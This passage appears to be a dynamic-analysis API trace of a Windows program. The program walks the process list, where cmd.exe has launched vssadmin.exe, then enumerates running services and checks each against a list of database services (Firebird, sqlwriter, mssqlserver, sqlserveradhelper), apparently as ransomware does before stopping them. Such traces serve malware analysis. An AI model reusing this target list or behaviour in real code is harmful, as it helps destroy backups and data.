cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0218.198] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0218.198] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0218.199] lstrlenW (lpString="planned.exe") returned 11 [0218.199] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0218.199] lstrlenW (lpString="springer andrew.exe") returned 19 [0218.199] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0218.200] lstrlenW (lpString="cakes import.exe") returned 16 [0218.200] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0218.200] lstrlenW (lpString="theory.exe") returned 10 [0218.200] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0218.201] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0218.201] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0218.202] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0218.202] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0218.202] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0218.202] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0218.248] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0218.248] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0218.249] lstrlenW (lpString="indicescancellation.exe") returned 23 [0218.249] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0218.249] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0218.249] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0218.250] lstrlenW (lpString="desk.exe") returned 8 [0218.250] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.250] lstrlenW (lpString="svchost.exe") returned 11 [0218.250] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0218.251] lstrlenW (lpString="sppsvc.exe") returned 10 [0218.251] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.252] lstrlenW (lpString="svchost.exe") returned 11 [0218.252] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.252] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.252] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.255] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.255] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0218.256] lstrlenW (lpString="winhost.exe") returned 11 [0218.256] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.256] lstrlenW (lpString="cmd.exe") returned 7 [0218.256] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.257] lstrlenW (lpString="conhost.exe") returned 11 [0218.257] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0218.257] lstrlenW (lpString="vssadmin.exe") returned 12 [0218.257] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0218.258] lstrlenW (lpString="VSSVC.exe") returned 9 [0218.258] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.259] lstrlenW (lpString="svchost.exe") returned 11 [0218.259] Process32NextW (in: hSnapshot=0x218, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0218.259] CloseHandle (hObject=0x218) returned 1 [0218.259] Sleep (dwMilliseconds=0x1f4) [0218.813] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fc30 [0218.814] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0218.814] GetLastError () returned 0xea [0218.814] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4370068, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4370068, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0218.821] CloseServiceHandle (hSCObject=0x63fc30) returned 1 [0218.821] lstrlenW (lpString="Appinfo") returned 7 [0218.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0218.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0218.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0218.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0218.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0218.821] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.821] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.822] lstrlenW (lpString="AudioSrv") returned 8 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0218.822] lstrlenW (lpString="BFE") returned 3 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.822] lstrlenW (lpString="CryptSvc") returned 8 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.822] lstrlenW (lpString="CscService") returned 10 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0218.822] lstrlenW (lpString="DcomLaunch") returned 10 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.822] lstrlenW (lpString="Dhcp") returned 4 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.822] lstrlenW (lpString="Dnscache") returned 8 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.822] lstrlenW (lpString="DPS") returned 3 [0218.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0218.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0218.822] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0218.822] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0218.823] lstrlenW (lpString="eventlog") returned 8 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0218.823] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0218.823] lstrlenW (lpString="EventSystem") returned 11 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.823] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.823] lstrlenW (lpString="FontCache") returned 9 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0218.823] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0218.823] lstrlenW (lpString="gpsvc") returned 5 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.823] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.823] lstrlenW (lpString="iphlpsvc") returned 8 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0218.823] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0218.823] lstrlenW (lpString="LanmanServer") returned 12 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0218.823] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0218.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0218.823] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.823] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.834] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0218.834] lstrlenW (lpString="lmhosts") returned 7 [0218.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.834] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.834] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.834] lstrlenW (lpString="MMCSS") returned 5 [0218.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0218.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0218.835] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0218.835] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0218.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0218.835] lstrlenW (lpString="MpsSvc") returned 6 [0218.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.835] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.835] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.835] lstrlenW (lpString="Netman") returned 6 [0218.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0218.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0218.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0218.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0218.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0218.836] lstrlenW (lpString="netprofm") returned 8 [0218.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0218.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0218.836] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0218.836] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0218.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0218.836] lstrlenW (lpString="NlaSvc") returned 6 [0218.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0218.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0218.836] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0218.836] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0218.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0218.836] lstrlenW (lpString="nsi") returned 3 [0218.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.836] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.836] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.836] lstrlenW (lpString="PcaSvc") returned 6 [0218.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0218.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0218.836] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0218.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0218.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0218.837] lstrlenW (lpString="PlugPlay") returned 8 [0218.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.837] lstrlenW (lpString="Power") returned 5 [0218.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.837] lstrlenW (lpString="ProfSvc") returned 7 [0218.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.837] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.837] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.837] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.837] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.837] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.837] lstrlenW (lpString="RpcSs") returned 5 [0218.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.844] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.844] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.844] lstrlenW (lpString="SamSs") returned 5 [0218.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.844] lstrlenW (lpString="Schedule") returned 8 [0218.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.844] lstrlenW (lpString="SENS") returned 4 [0218.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.846] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.846] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.846] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0218.846] lstrlenW (lpString="Spooler") returned 7 [0218.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.846] lstrlenW (lpString="sppsvc") returned 6 [0218.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0218.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 